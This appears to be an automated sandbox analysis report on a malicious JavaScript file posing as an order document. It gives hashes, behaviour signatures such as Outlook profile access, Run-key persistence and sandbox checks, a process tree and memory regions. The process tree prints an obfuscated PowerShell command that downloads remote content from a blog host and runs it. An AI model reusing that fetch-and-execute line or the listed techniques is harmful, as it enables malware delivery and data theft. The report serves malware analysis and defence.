Analysis

  • max time kernel
    140s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-09-2023 13:09

General

  • Target

    Order Sep 2023.js

  • Size

    641KB

  • MD5

    abcc8edc710ec4950ca9bf69cd99fb46

  • SHA1

    d8ccde8c22a61fd95343a3fa1a6bfd735b95665c

  • SHA256

    275216a98698d7dbd73a1c75693ef043894e7753711bc606f4de20719f7ec772

  • SHA512

    892d5e10efbab46de530841d42ec7daf75df1e3755df5e1f406030adf8193a2207c5d1f02edfbb42c29123b5e8b954086295c024ce2e32b1a8c415e36fed85d2

  • SSDEEP

    12:+E2qkhZXa4Ft+CH3fATkvA+72NAMchqV39yex+pBtg/6J35xmn:JWZ/XnHIToAXNArhIys+pA/2pxu

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Registers COM server for autorun 1 TTPs 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Order Sep 2023.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c $((irm buzalotr.blogspot.com//////////////////////////////atom.xml) | .('{1}{0}'-f'XXXWww','I').replace('XXXWww','ex'))
      2⤵
      • Blocklisted process makes network request
      • Registers COM server for autorun
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3360
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:252
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 780
          4⤵
          • Drops file in Windows directory
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:1332
      • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 784
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:5088

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyjgrvhk.ws4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/252-28-0x00000000748F0000-0x0000000074EA1000-memory.dmp

    Filesize

    5.7MB

  • memory/252-22-0x0000000000400000-0x000000000049E000-memory.dmp

    Filesize

    632KB

  • memory/1528-12-0x0000015CBC770000-0x0000015CBC780000-memory.dmp

    Filesize

    64KB

  • memory/1528-11-0x0000015CBC770000-0x0000015CBC780000-memory.dmp

    Filesize

    64KB

  • memory/1528-13-0x0000015CBC770000-0x0000015CBC780000-memory.dmp

    Filesize

    64KB

  • memory/1528-14-0x0000015CBD820000-0x0000015CBD9E2000-memory.dmp

    Filesize

    1.8MB

  • memory/1528-16-0x00007FFB67400000-0x00007FFB67EC1000-memory.dmp

    Filesize

    10.8MB

  • memory/1528-17-0x0000015CBC770000-0x0000015CBC780000-memory.dmp

    Filesize

    64KB

  • memory/1528-18-0x0000015CBC770000-0x0000015CBC780000-memory.dmp

    Filesize

    64KB

  • memory/1528-19-0x0000015CBD230000-0x0000015CBD23C000-memory.dmp

    Filesize

    48KB

  • memory/1528-20-0x0000015CBD260000-0x0000015CBD27A000-memory.dmp

    Filesize

    104KB

  • memory/1528-10-0x00007FFB67400000-0x00007FFB67EC1000-memory.dmp

    Filesize

    10.8MB

  • memory/1528-53-0x00007FFB67400000-0x00007FFB67EC1000-memory.dmp

    Filesize

    10.8MB

  • memory/1528-50-0x0000015CBC770000-0x0000015CBC780000-memory.dmp

    Filesize

    64KB

  • memory/1528-5-0x0000015CBC710000-0x0000015CBC732000-memory.dmp

    Filesize

    136KB

  • memory/1796-29-0x0000000001860000-0x0000000001870000-memory.dmp

    Filesize

    64KB

  • memory/1796-26-0x00000000748F0000-0x0000000074EA1000-memory.dmp

    Filesize

    5.7MB

  • memory/1796-31-0x00000000748F0000-0x0000000074EA1000-memory.dmp

    Filesize

    5.7MB

  • memory/1796-49-0x00000000748F0000-0x0000000074EA1000-memory.dmp

    Filesize

    5.7MB

  • memory/3360-38-0x0000000004E90000-0x0000000004F22000-memory.dmp

    Filesize

    584KB

  • memory/3360-35-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

    Filesize

    64KB

  • memory/3360-43-0x00000000054E0000-0x0000000005A84000-memory.dmp

    Filesize

    5.6MB

  • memory/3360-34-0x0000000074EB0000-0x0000000075660000-memory.dmp

    Filesize

    7.7MB

  • memory/3360-44-0x0000000005200000-0x00000000053C2000-memory.dmp

    Filesize

    1.8MB

  • memory/3360-27-0x0000000000700000-0x000000000079E000-memory.dmp

    Filesize

    632KB

  • memory/3360-30-0x0000000004D30000-0x0000000004D96000-memory.dmp

    Filesize

    408KB

  • memory/3360-54-0x0000000006630000-0x00000000066CC000-memory.dmp

    Filesize

    624KB

  • memory/3360-55-0x00000000066D0000-0x0000000006720000-memory.dmp

    Filesize

    320KB

  • memory/3360-56-0x0000000074EB0000-0x0000000075660000-memory.dmp

    Filesize

    7.7MB

  • memory/3360-57-0x00000000068C0000-0x00000000068CA000-memory.dmp

    Filesize

    40KB

  • memory/3360-58-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

    Filesize

    64KB